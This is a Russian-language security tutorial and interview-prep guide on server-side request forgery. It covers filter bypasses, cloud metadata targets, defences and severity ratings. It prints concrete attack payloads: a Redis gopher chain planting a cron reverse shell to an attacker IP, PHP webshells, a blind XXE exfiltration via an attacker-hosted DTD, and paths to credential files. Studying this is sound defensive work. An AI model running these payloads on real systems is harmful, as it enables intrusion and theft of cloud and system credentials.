На странице
Server-Side Request Forgery (SSRF)
SSRF — уязвимость, при которой сервер выполняет HTTP/TCP-запрос по URL, который контролирует атакующий. Атакующий не обращается к цели напрямую — он заставляет сервер сделать это за него.
1. Что такое SSRF
Атакующий → Уязвимый сервер → Внутренний ресурс
↑
"Сходи по этому URL"
Ключевое отличие от обычного запроса: сервер находится внутри периметра сети и имеет доступ к ресурсам, недоступным извне: внутренние API, cloud metadata, базы данных, системы оркестрации.
Сервер выступает прокси — с его IP-адресом, его сетевыми разрешениями, его сессионными куками к внутренним сервисам. Один SSRF может превратиться в утечку IAM-ключей, чтение произвольных файлов или полный RCE через внутренние сервисы.
2. Где искать SSRF
Очевидные точки входа
- Загрузка файлов/изображений по URL (
url=,src=,image_url=) - Загрузка аватара по ссылке
- Импорт данных по URL (RSS, XML, CSV)
- Webhook-и — пользователь задаёт URL для callback'ов
- Превью ссылок (как в Slack, Telegram, мессенджерах)
Менее очевидные точки
- PDF/HTML генерация — wkhtmltopdf, Puppeteer, WeasyPrint рендерят HTML и подгружают ресурсы. Payload'ы внутри HTML, который конвертируется в PDF:
<iframe src="http://169.254.169.254/latest/meta-data/"></iframe> <img src="http://internal-service:8080/admin"> <link rel="stylesheet" href="http://169.254.169.254/latest/user-data"> <script>fetch('http://169.254.169.254/...').then(r=>r.text()).then(d=>document.write(d))</script> - SOAP/XML-парсинг — внешние сущности (XXE → SSRF), подробнее: XXE
- Интеграции с API — пользователь указывает endpoint стороннего сервиса
- Загрузка SVG, DOCX, XLSX — внутри XML с возможными external entities
- Проверка доступности URL / health-check
- Редиректы на стороне сервера
Параметры для поиска
url=, uri=, path=, src=, dest=, redirect=, link=, feed=,
callback=, next=, target=, rurl=, domain=, endpoint=,
proxy=, page=, load=, fetch=, site=, html=, val=, view=
Заголовки
Referer— некоторые приложения ходят по Referer для аналитикиX-Forwarded-Host/Host— реже, но при неправильной обработке
3. Типы SSRF
Non-blind (Classic) SSRF
Ответ от внутреннего сервиса возвращается атакующему — полностью или частично.
GET /fetch?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1
Ответ: ami-id, instance-id, iam/security-credentials/...
Blind SSRF
Ответ не возвращается. Способы подтверждения и эксплуатации:
| Техника | Как работает |
|---|---|
| OOB (out-of-band) | Запрос на Burp Collaborator / interactsh — смотрим DNS/HTTP callback |
| Тайминг | Открытый порт отвечает быстро, закрытый — таймаут. Разница во времени ответа |
| Разница ошибок | Разные HTTP-коды или сообщения при разных внутренних ответах |
| Побочные эффекты | SSRF на внутренний API, который что-то меняет (удаление, перезагрузка) |
Partial SSRF
Ответ приходит, но обрезан или отфильтрован — видим только код ответа, Content-Length или заголовки.
4. Протоколы (Schemes)
http:// и https://
Базовый вектор. Запросы к внутренним веб-сервисам и API.
file://
Чтение локальных файлов:
file:///etc/passwd
file:///etc/shadow
file:///proc/self/environ — переменные окружения (могут содержать секреты)
file:///proc/self/cmdline — аргументы запуска процесса
file:///home/user/.ssh/id_rsa — приватные SSH-ключи
file:///var/www/html/config.php — конфиги приложения
file:///root/.bash_history — история команд
На Windows:
file:///C:/Windows/win.ini
file:///C:/Users/Administrator/.ssh/id_rsa
gopher://
Самый мощный протокол для SSRF. Позволяет отправить произвольные байты в TCP-соединение.
Формат: gopher://host:port/_<url-encoded данные>
_— первый символ после/, игнорируется%0D%0A—\r\n(перенос строки)- Все спецсимволы URL-encode'ятся
Позволяет взаимодействовать с любым TCP-сервисом: Redis, SMTP, MySQL, FastCGI, Memcached.
dict://
Формат: dict://host:port/команда
Используется для:
- Отправки одиночных команд в Redis/Memcached
- Сканирования портов
Ограничение: отправляет только одну строку, не подходит для сложных цепочек команд.
Другие
ftp://— взаимодействие с FTP, bounce-атакиsftp://ldap:///ldaps://— запросы к LDAP-серверамtftp://— UDP-basedjar://— специфично для Java, может загружать удалённые файлы
5. Обход фильтров
Обход blacklist на IP (127.0.0.1, localhost)
Альтернативные записи localhost:
http://127.1
http://127.0.1
http://127.000.000.001
http://0
http://0.0.0.0
Decimal (десятичная):
http://2130706433 → 127.0.0.1
Конвертация: 127×256³ + 0×256² + 0×256¹ + 1 = 2130706433
Hex (шестнадцатеричная):
http://0x7f000001
http://0x7f.0x0.0x0.0x1
Octal (восьмеричная):
http://0177.0.0.01
http://017700000001
IPv6:
http://[::1]
http://[0000::1]
http://[::ffff:127.0.0.1]
http://[0:0:0:0:0:ffff:127.0.0.1]
Домены, резолвящиеся в 127.0.0.1:
http://localtest.me
http://vcap.me
http://127.0.0.1.nip.io
http://spoofed.burpcollaborator.net (свой Collaborator с DNS)
Обход whitelist на домен
URL-парсинг (разночтения между парсером и HTTP-клиентом):
http://allowed.com@attacker.com — userinfo часть URL
http://attacker.com#allowed.com — fragment
http://attacker.com?q=allowed.com — query string
http://allowed.com.attacker.com — поддомен
Open redirect:
http://allowed.com/redirect?url=http://169.254.169.254/
Если на разрешённом домене есть open redirect — используй как промежуточный хоп.
Encoded символы:
http://allowed.com%00@attacker.com — null byte
http://allowed.com%2F%2Fattacker.com
Обход фильтра на схему
gopher:// → Gopher:// → GOPHER:// (case-insensitive)
file:// → File://
Обход через редирект
Если сервер следует за HTTP-редиректами:
- Первый URL проходит фильтр:
http://attacker.com/redirect - Attacker возвращает
302 Location: http://127.0.0.1/admin - Сервер идёт по редиректу → фильтр уже не проверяет
Можно менять схему через редирект:
http://attacker.com/redirect → gopher://127.0.0.1:6379/...
DNS rebinding
Проблема: сервер резолвит DNS и проверяет IP перед запросом.
Обход:
evil.com→ первый DNS-ответ:1.2.3.4(внешний, проходит проверку)- Сервер валидирует — ОК
- Второй DNS-запрос (для соединения):
evil.com→127.0.0.1 - Запрос уходит на localhost
Настройка: свой DNS с TTL=0, чередующий ответы. Инструменты: rbndr.us, Singularity of Origin.
TOCTOU (Time-of-Check to Time-of-Use)
DNS rebinding — частный случай более общего паттерна TOCTOU: между моментом проверки (DNS resolve → IP ок) и моментом использования (HTTP-запрос) состояние меняется. Это важно понимать, потому что TOCTOU встречается не только в DNS — например, если приложение проверяет URL, сохраняет его, и использует позже, промежуточный редирект на этом URL может измениться.
SSRF + CRLF Injection
Если в URL можно вставить \r\n (CRLF), можно добавить произвольные HTTP-заголовки в запрос, который делает сервер:
http://internal-service%0D%0AX-aws-ec2-metadata-token:%20TOKEN_VALUE%0D%0A
Это позволяет обойти защиты вроде IMDSv2, которые требуют специальные заголовки. Если HTTP-клиент сервера не экранирует CRLF в URL — мы контролируем заголовки запроса.
6. Cloud Metadata — главная цель
AWS (IMDSv1)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/local-ipv4
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>
http://169.254.169.254/latest/user-data
Главный приз — IAM credentials:
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "wJalr...",
"Token": "IQoJb3...",
"Expiration": "2026-04-18T12:00:00Z"
}
С этими ключами → доступ к S3, EC2, Lambda, DynamoDB и т.д.
IMDSv2 (защита):
Шаг 1: PUT http://169.254.169.254/latest/api/token
Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
→ Получаем токен
Шаг 2: GET http://169.254.169.254/latest/meta-data/
Header: X-aws-ec2-metadata-token: <токен>
Простой GET-based SSRF не сработает — нужен PUT + кастомный заголовок. Но если SSRF позволяет управлять методом и заголовками (или есть CRLF injection) — IMDSv2 тоже может быть обойдён.
GCP
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1/project/project-id
Требует заголовок: Metadata-Flavor: Google — но через gopher можно подставить.
Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
Требует заголовок: Metadata: true
DigitalOcean
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
Kubernetes
Если сервер работает в Pod'е Kubernetes:
# Service account token (аутентификация в API кластера)
file:///var/run/secrets/kubernetes.io/serviceaccount/token
# Kubernetes API — секреты всего namespace
http://kubernetes.default.svc/api/v1/namespaces/default/secrets
# Kubelet read-only API — информация о Pod'ах
http://localhost:10255/pods
# etcd — хранилище всего состояния кластера
http://localhost:2379/v2/keys/
# Kubernetes environment variables
file:///proc/self/environ
Service account token + Kubernetes API = потенциально полный доступ к кластеру, секретам, другим сервисам.
7. Пути к RCE через SSRF
Redis (порт 6379)
Redis без аутентификации + gopher = запись произвольных файлов.
Вектор 1 — Crontab (Linux):
gopher://127.0.0.1:6379/_
SET shell "\n\n*/1 * * * * bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\n\n"
CONFIG SET dir /var/spool/cron/crontabs
CONFIG SET dbfilename root
SAVE
→ Reverse shell через cron каждую минуту.
Вектор 2 — Webshell:
SET shell "\n\n<?php system($_GET['cmd']); ?>\n\n"
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SAVE
→ Webshell по адресу http://target.com/shell.php?cmd=id
Вектор 3 — SSH authorized_keys:
SET ssh "\n\nssh-rsa AAAAB3... attacker@box\n\n"
CONFIG SET dir /root/.ssh
CONFIG SET dbfilename authorized_keys
SAVE
→ SSH-доступ без пароля.
Инструмент: Gopherus автоматически генерирует gopher-payload для Redis.
PHP-FPM / FastCGI (порт 9000)
PHP-FPM выполняет PHP-код по запросу через протокол FastCGI.
Атака:
- Формируем FastCGI-пакет через gopher
- Указываем существующий .php файл (например,
/var/www/html/index.php) - Устанавливаем
PHP_VALUE: auto_prepend_file = php://input - В теле —
<?php system("id"); ?> - PHP-FPM выполняет код → RCE без записи файлов
Инструмент: Gopherus → FastCGI payload.
SMTP (порт 25)
Не RCE, но полезно:
gopher://127.0.0.1:25/_
HELO attacker.com%0D%0A
MAIL FROM:<attacker@evil.com>%0D%0A
RCPT TO:<admin@target.com>%0D%0A
DATA%0D%0A
Subject: Test%0D%0A
Phishing email body%0D%0A
.%0D%0A
QUIT
→ Отправка email от имени внутреннего сервера (для фишинга, social engineering).
MySQL (порт 3306)
Если MySQL без пароля (пустой пароль для root в dev-окружениях):
- Через gopher формируем MySQL-пакет аутентификации
- Отправляем SQL-запрос:
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php' - → Webshell
Ограничение: MySQL-протокол бинарный и сложный, работает не всегда.
Внутренние API без аутентификации
Многие внутренние сервисы доверяют запросам из внутренней сети:
- Kubernetes API (
http://kubernetes.default.svc) - Docker API (
http://127.0.0.1:2375) - Consul, etcd, Elasticsearch
- Админки (Jenkins, Grafana, Kibana)
Docker API → RCE:
POST http://127.0.0.1:2375/containers/create
Body: {"Image":"alpine","Cmd":["sh"],"Binds":["/:/mnt"]}
→ Монтируем хост-файловую систему в контейнер → полный доступ.
Цепочка SSRF → Cloud Keys → Full Compromise
- SSRF →
169.254.169.254→ IAM credentials - С ключами:
aws s3 ls,aws ec2 describe-instances - Ищем S3-бакеты с секретами, базы данных, другие инстансы
- Lateral movement по облачной инфраструктуре
8. SSRF через XXE
XML-парсеры обрабатывают внешние сущности — это даёт SSRF + чтение файлов.
Базовый XXE → SSRF
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<data>&xxe;</data>
Blind XXE → OOB exfiltration
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<data>&send;</data>
Где встречается XXE
- API с
Content-Type: application/xml - Загрузка SVG:
<image xlink:href="http://internal/..."> - Загрузка DOCX/XLSX (ZIP с XML внутри)
- SOAP-эндпоинты
- Иногда можно сменить
Content-Type: application/jsonнаapplication/xml
Подробный разбор XXE → XXE (XML External Entities).
9. Связки с другими уязвимостями
| Цепочка | Как работает | Импакт |
|---|---|---|
| SSRF → XXE | SSRF на внутренний сервис, который парсит XML | Чтение файлов, дальнейший SSRF |
| XXE → SSRF | Внешняя сущность с http:// URI | Доступ к внутренним сервисам, cloud metadata |
| SSRF → SSTI | SSRF на внутренний сервис, который рендерит шаблоны | RCE через template injection |
| SSTI → SSRF | RCE через SSTI = можно делать любые запросы | Полный доступ к внутренней сети |
| SSRF → Deserialization | SSRF на внутренний Java/PHP сервис с десериализацией | RCE |
| SSRF + CRLF | CRLF в URL → произвольные заголовки | Обход IMDSv2, header injection |
| SSRF + Open Redirect | Redirect на разрешённом домене как трамплин | Обход whitelist |
10. Методология тестирования
Шаг 1: Обнаружение
- Найти все параметры, принимающие URL
- Проверить скрытые параметры (Param Miner)
- Посмотреть JS-файлы на скрытые эндпоинты
- Проверить функции загрузки, импорта, webhook'ов
Шаг 2: Подтверждение
- Вставить Burp Collaborator URL
- Если callback не пришёл:
- Попробовать обфускацию, другие схемы
- Проверить DNS callback отдельно от HTTP
- Сравнить тайминг:
http://10.255.255.1(non-routable) vs обычный URL - Возможно, firewall блокирует исходящие — попробовать внутренние адреса
Шаг 3: Определение типа
- Ответ виден → non-blind → читаем данные
- Только callback → blind → OOB/тайминг
Шаг 4: Обход фильтров
- IP-обфускация (decimal, hex, octal, IPv6)
- DNS-трюки (свой домен → 127.0.0.1, DNS rebinding)
- URL-парсинг (@, #, %00)
- Редиректы
- Смена схемы
Шаг 5: Эскалация
1. http://169.254.169.254/... → cloud credentials
2. file:///etc/passwd → чтение файлов
3. http://127.0.0.1:PORT → сканирование портов
4. gopher://127.0.0.1:6379/... → Redis → RCE
5. gopher://127.0.0.1:9000/... → FastCGI → RCE
6. http://127.0.0.1:2375/... → Docker API → RCE
7. http://kubernetes.default.svc/... → K8s API → секреты кластера
Практическое упражнение: SSRF с обходом blacklist-фильтра (PortSwigger).
11. Защита от SSRF
Уровень приложения (валидация входа)
- Whitelist разрешённых доменов/IP — не blacklist. Blacklist всегда можно обойти (decimal, hex, IPv6, домены-резолверы).
- Whitelist схем — только
http://иhttps://. Отключитьfile://,gopher://,ftp://,dict://и остальные. - Ограничение портов — разрешить только стандартные HTTP-порты (80, 443, 8080, 8090). Это предотвращает взаимодействие с Redis (6379), MySQL (3306), FastCGI (9000).
- Валидация IP после DNS-резолва — резолвишь DNS → проверяешь что IP не приватный (10.x, 172.16-31.x, 192.168.x, 127.x, 169.254.x, ::1) → подключаешься к тому же IP (не резолвишь повторно — иначе TOCTOU/DNS rebinding).
- Валидация доменных имён — проверять структуру URL, не доверять user-supplied домену без whitelist.
- Отключить или валидировать редиректы — лучше отключить. Если бизнес требует — проверять каждый хоп, не только первый URL. Частая ошибка: валидация только первого шага, а редирект уже проходит без проверки.
- Понимать, как библиотека обрабатывает адреса — разные HTTP-клиенты по-разному парсят URL.
urllibв Python,curlв PHP,HttpClientв Java — у каждого свои особенности с userinfo (@), фрагментами (#), null bytes.
Уровень ответа (фильтрация выхода)
- Фильтрация возвращаемой информации — если приложение ожидает определённый тип данных (JSON, изображение), проверять соответствие формата до отображения пользователю.
- Блокировка детализации ответа — не возвращать пользователю полный ответ от внутреннего сервиса. Минимум информации.
- Одинаковые сообщения об ошибках — унифицировать ошибки, чтобы нельзя было определить состояние внутренних портов и сервисов по разнице в error messages.
Уровень инфраструктуры
- Сетевая сегментация — сервер приложения не должен иметь доступ к произвольным внутренним сервисам. Firewall-правила: только необходимые порты и хосты.
- Ограничение доступа к внутренней инфраструктуре — для серверов, потенциально подверженных SSRF (те, что обрабатывают user-supplied URL), ограничить исходящие соединения к внутренней сети.
- Изоляция — если функциональность с URL нельзя убрать, вынести её в отдельный изолированный сегмент сети с минимальными привилегиями.
- Metadata concealment — IMDSv2 (AWS), обязательные заголовки (GCP:
Metadata-Flavor, Azure:Metadata). Но не полагаться только на это — CRLF injection или gopher могут подставить заголовки.
Частые ошибки
- Blacklist вместо whitelist — всегда можно обойти
- Валидация URL строки, а не IP после резолва — DNS rebinding
- Проверка только первого URL — редирект обходит
- Забыли про IPv6, decimal, octal формы IP
- Полагание на "наша библиотека безопасна" без проверки конкретного поведения
12. Оценка Severity
| Severity | Условия |
|---|---|
| Critical | Cloud credentials, RCE (Redis/FastCGI/Docker), доступ к БД с данными |
| High | Чтение файлов (file://), non-blind доступ к внутренней сети, доступ к внутренним API |
| Medium | Blind SSRF, сканирование портов, ограниченные протоколы |
| Low | Только внешние запросы, жёсткий whitelist с минимальным контролем |
13. Инструменты
| Инструмент | Назначение |
|---|---|
| Burp Collaborator | Подтверждение blind SSRF (DNS/HTTP callback) |
| interactsh | Бесплатная альтернатива Collaborator |
| Gopherus | Генерация gopher-payload'ов для Redis, MySQL, FastCGI, SMTP |
| SSRFmap | Автоматизация SSRF-эксплуатации |
| Burp Intruder | Фаззинг параметров и обход фильтров |
| Param Miner (Burp extension) | Поиск скрытых параметров |
14. Известные кейсы
Capital One (2019): SSRF → AWS metadata → IAM keys → S3 → утечка 106M записей. Штраф $80M.
GitLab (CVE-2021-22214): SSRF через webhook-валидацию, обход через DNS rebinding.
Shopify (2018, Bug Bounty): SSRF через импорт товаров → GCP metadata. Баунти $15,000.
Microsoft Exchange — ProxyLogon (2021): Цепочка SSRF + deserialization → RCE. Массовая эксплуатация.
15. Q&A — Вопросы для подготовки
1. Что такое SSRF?
Уязвимость, при которой сервер выполняет сетевой запрос по адресу, контролируемому атакующим. Сервер становится "прокси" — он находится внутри сетевого периметра и имеет доступ к ресурсам, недоступным извне. Атакующий не обращается к цели напрямую, а заставляет сервер сделать это, используя его привилегии и сетевое расположение.
2. Какие функции чаще всего становятся входом для SSRF?
Любой функционал, где сервер обращается по user-supplied URL: загрузка изображений/файлов по ссылке, webhook'и, превью ссылок, импорт данных (RSS/XML/CSV), PDF/HTML-генерация, интеграции с внешними API. Менее очевидные точки: XML-парсинг (XXE→SSRF), загрузка SVG/DOCX, проверки доступности URL, серверные редиректы.
3. Почему SSRF опаснее, чем просто "сервер сходил не туда"?
Сервер находится в доверенной зоне сети. Он может обращаться к cloud metadata (169.254.169.254) и получить IAM-ключи — это путь к полному компрометированию облачной инфраструктуры. Внутренние сервисы (Redis, Docker API, Kubernetes) часто не имеют аутентификации для запросов из внутренней сети. Один SSRF может превратиться в RCE, утечку данных или lateral movement по всей инфраструктуре.
4. Чем blind SSRF отличается от "обычного" SSRF?
При обычном (non-blind) SSRF ответ внутреннего сервиса возвращается атакующему — можно читать данные напрямую. При blind SSRF ответ не виден. Подтверждение и эксплуатация идут через побочные каналы: OOB-callback (DNS/HTTP на свой сервер), разницу во времени ответа (открытый порт быстро, закрытый — timeout), разницу в ошибках, или побочные эффекты запроса (например, удаление данных через внутренний API).
5. Где искать скрытую поверхность атаки для SSRF, кроме очевидного параметра url?
Заголовки (Referer, X-Forwarded-Host), скрытые параметры (Param Miner), PDF/HTML-генераторы (Puppeteer/wkhtmltopdf рендерят ресурсы из HTML), XML-парсеры (XXE→SSRF), офисные документы (DOCX/XLSX содержат XML с external entities), JS-файлы клиента (могут раскрывать скрытые эндпоинты бэкенда), серверные редиректы.
6. Почему доступ "только к localhost или внутренней сети" не делает SSRF безопасным?
На localhost работают десятки сервисов: Redis (6379), Docker API (2375), MySQL (3306), PHP-FPM (9000), Kubernetes kubelet (10255). Многие из них не требуют аутентификации для локальных подключений. Redis без пароля + gopher = запись произвольных файлов → crontab → reverse shell. Docker API → создание контейнера с монтированием хост-файловой системы → полный контроль.
7. Почему простая regex-валидация URL и blocklist почти всегда ненадёжны?
IP-адрес 127.0.0.1 можно записать десятком способов: decimal (2130706433), hex (0x7f000001), octal (0177.0.0.01), IPv6 (::1, ::ffff:127.0.0.1), короткие формы (127.1, 0). Есть домены, резолвящиеся в 127.0.0.1 (localtest.me, vcap.me). URL-парсинг имеет разночтения: allowed.com@attacker.com, null bytes, fragment tricks. Regex не учитывает все варианты кодирования и парсинг-разночтения.
8. Почему в SSRF так важны redirects и DNS?
Редиректы позволяют обойти валидацию первого URL: фильтр проверяет http://allowed.com/redirect, а тот возвращает 302 на http://127.0.0.1/admin. Через редирект можно менять схему (http → gopher). DNS rebinding эксплуатирует TOCTOU: при проверке домен резолвится во внешний IP (проходит валидацию), при подключении — в 127.0.0.1. Если приложение не валидирует каждый шаг и не привязывает IP после resolve — эти обходы работают.
9. Почему SSRF особенно опасен в облаке и контейнерной среде?
Облачные провайдеры предоставляют metadata service (169.254.169.254) с IAM-ключами, токенами, конфигурацией. IMDSv1 (AWS) отдаёт ключи по простому GET — идеальная цель для SSRF. В Kubernetes каждый Pod имеет service account token, а Kubernetes API доступен по DNS имени kubernetes.default.svc. Docker API без TLS на порту 2375 позволяет создавать контейнеры с доступом к хост-системе. Плотная компоновка сервисов в контейнерах увеличивает attack surface.
10. Как выглядит зрелая защита от SSRF?
Три уровня. Приложение: whitelist разрешённых доменов и схем (только http/https), валидация IP после DNS resolve (не URL-строки, а resolved IP — и использование того же IP для подключения), отключение или пошаговая валидация редиректов, понимание поведения конкретной HTTP-библиотеки. Ответ: фильтрация формата возвращаемых данных, унификация ошибок, минимизация возвращаемой информации. Инфраструктура: сетевая сегментация, IMDSv2/metadata headers, изоляция SSRF-подверженных сервисов в отдельный сегмент.
16. Шпаргалка для быстрого повторения
SSRF = сервер ходит по URL атакующего
Где: url=, загрузки, вебхуки, PDF-генерация, XML-парсинг
Типы: non-blind (видим ответ) / blind (не видим)
Протоколы: http, file, gopher, dict
Обход фильтров:
IP → decimal/hex/octal/IPv6/домены
Домен → @, #, open redirect, DNS rebinding
Схема → регистр, редирект
TOCTOU → проверка и использование — разные моменты
CRLF → произвольные заголовки в запросе
Цели:
169.254.169.254 → cloud keys (AWS/GCP/Azure)
file:///etc/passwd → файлы
gopher → Redis/FastCGI → RCE
Docker API (2375) → RCE
Kubernetes API → секреты кластера
Service account token → /var/run/secrets/kubernetes.io/...
Защита:
Приложение: whitelist доменов/схем, валидация IP после resolve, контроль редиректов
Ответ: фильтрация формата, uniform errors, минимум данных
Инфраструктура: сегментация, IMDSv2, изоляция
Severity: RCE/cloud keys = critical, файлы/внутренняя сеть = high, blind = medium
Ещё в этой категории
Web Shell Upload через обход блек-листа расширений (PortSwigger Lab)
.php в блек-листе, но .htaccess заливается без вопросов — подсовываем свой конфиг Apache и заставляем сервер исполнять shell.bug как PHP.
Web Shell Upload через обфускацию расширения (PortSwigger Lab)
Блек-лист расширений не пускает .php, двойное расширение shell.php.jpg отдаётся как картинка — null-byte shell.php%00.jpg обходит обе проверки.
Remote Code Execution через загрузку web shell (PortSwigger Lab)
Загрузка аватарки без валидации — заливаем PHP web shell и читаем /home/carlos/secret.